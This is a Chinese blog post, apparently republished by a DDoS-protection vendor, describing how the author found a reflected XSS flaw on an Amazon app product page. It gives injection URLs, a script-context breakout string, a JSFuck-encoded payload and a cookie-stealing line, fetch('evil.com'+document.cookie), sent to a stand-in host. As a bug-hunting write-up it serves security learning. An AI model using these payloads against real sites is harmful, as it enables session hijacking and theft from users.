DDOS防御专家-提供超强DDoS高防/CC防护/大流量清洗服务!
当前位置:主页 > WEB安全 > 正文

看我如何发现亚马逊网站的反射型XSS漏洞

09-17 WEB安全

看我如何发现亚马逊网站的反射型XSS漏洞


在过去的两个月里,我一直通过开发https://scroll.am网站 (亚马逊快速浏览方式)来提高我的前端和后端技能。我通过这样的项目开发来学习更多关于Web新框架(如vue.js)和新技术(如Codestar & Lambda,AWS )。在此过程中,我也学习到了一些关于XSS漏洞的知识,发现了亚马逊的某个反射型XSS漏洞,来和大家作个分享。
我一直对亚马逊网站的货物展示方式感兴趣,比如,这种展示方式的设计架构是啥?他们如何实现良好的用户体验呢?这些可以略从亚马逊的A/B测试策略知晓,但却无法找到他们具体的网站架构测试设计。
A/B测试是一种新兴的网页优化方法,可以用于增加转化率注册率等网页指标。简单来说,A/B测试是一种用于提升App/H5/小程序产品转化率、优化获客成本的数据决策方法。对于互联网产品来说,通过A/B测试提升点击转化率,优化获客成本已得到越来越多的关注。
APP安全测试
亚马逊购物APP
一种查看亚马逊网站架构设计的方式莫过于去了解它的购物APP了。某个雨天的周五下午,我决定反编译一下亚马逊的安卓APP看看其中的代码长啥样。大概步骤是这样的:下载APK文件,使用一些在线反编译器提取其中的代码,检查其中不同文件涉及的URL链接和产品页面等信息。
查找产品页面链接
通常,亚马逊产品页面链接中都包含 ‘/dp/’ 字样,大概是这样的:https://www.amazon.com/gp/masclient/dp/
 ,所以我就简单的执行了 ‘/dp/’ 字段搜索:

看我如何发现亚马逊网站的反射型XSS漏洞


Masclient 产品页面
我检查了很多产品页面URL,但唯独没见着像下图这样包含 ‘masclient’ 的产品页面URL:
https://www.amazon.com/gp/masclient/dp/B00Q7LTUK

看我如何发现亚马逊网站的反射型XSS漏洞


哦,这看似是一个使用内部应用的自定义产品页面,把产品id换成其它看看会是什么反应?

看我如何发现亚马逊网站的反射型XSS漏洞


额,这好像有点戏,URL解析过程中未对产品id作适当检查,而且还把它全部大写了(TEST),那来看看注入HTML代码会怎样呢?就试试滚动内容的HTML  标签吧:
https://www.amazon.com/gp/masclient/dp/%3Cmarquee%3E%3Ch1%3Ehi%20mom!

看我如何发现亚马逊网站的反射型XSS漏洞


啊,太好了,URL竟然对7个不同字段进行了解析,其中一个地方就是脚本标签里:

看我如何发现亚马逊网站的反射型XSS漏洞


面临的问题
输入会被大写化
所以像alert这样的javascript函数会被转义为ALERT,从而失效。还好,有人曾在对Yahoo.com网站的XSS漏洞挖掘中规避了这种大写转义,解决方法是这样的:先把纯文本字符转换为HTML实体字符,然后对其进行URL编码,最后用SVG标记的onload参数输出,格式像这样:
像这样的闭合标签不可用
遇到闭合标签它会给出404错误响应,所以,这样就不可能通过这样的方式来加载我们的 javascript 文件。解决方法要这样:在DOM标签中,使用  实现 javascript 注入,或者直接使用链接脚本中的向量来执行,像这样,我们可以添加这样的 “}’> 几个字符来突破限制,最终的URL链接就会是这样的:
https://www.amazon.com/gp/masclient/dp/‘}”);}JAVASCRIPTHERE;{(“
由于大写转义的问题,我们在这考虑用 jsfuck 代码方式来把 javascript 代码转变为 ! ( ) + [ ] 形式的字符,例如响应出 debugger 函数的URL经 jsfuck 方式转换后是这样的:
https://www.amazon.com/gp/masclient/dp/’%7D”);%7D[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]][([]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(![]+[])[!![]+!![]]])[!![]+!![]+!![]]+(!![]+[][(![]+[])[+`...
如果对URL长度没限制的话,利用这种技术可以成功注入cookie窃取代码 fetch("evil.com"+document.cookie),最终实现这种cookie窃取的URL长度会超过8000个字符。
URL链接长度限制
按我的测试来看,只要URL长度超过3500个字符左右,亚马逊网站页面就会停止响应,所以,在这里,要想实现cookie窃取,我们貌似就不能利用这种 JSFuck 编码技术了。但在reddit社区中,有人建议可以用  jjencode 编码,但我测试后发现,这种 $ 符号的方式最终好像不能被正常解析。
JSFuck:是一种基于JavaScript的另类编程风格,它只使用六个不同的字符([,],(,),!,+),来编写和执行代码。它不依赖于浏览器,所以你甚至可以在 Node.js. 上运行它,转换后的代码只使用6个字符,实现的功能和转换前代码是一样的。

版权保护: 本文由 DDOS防御专家 原创,转载请保留链接: http://sskjddosgb11.ddosgb.com//web/47.html

DDoS防御专家简介孤之剑
国内资深白帽子二十人组成员,前BAT资深网络安全工程师,知名网络安全站点板块大神,每年提交Google及微软漏洞,原sina微博负载插件开发者,现在整体防御复合攻击长期接受1-4.7T攻击,CC防护自主开发指纹识别系统,可以做到99.9999%的无敌防御。
  • 文章总数
  • 698415访问次数
  • 建站天数
  • 友情链接

    DDOS防御

    ddos防御

    cc防护

    web安全

    高防服务器

    高防cdn


    QQ客服

    400-0797-119

    X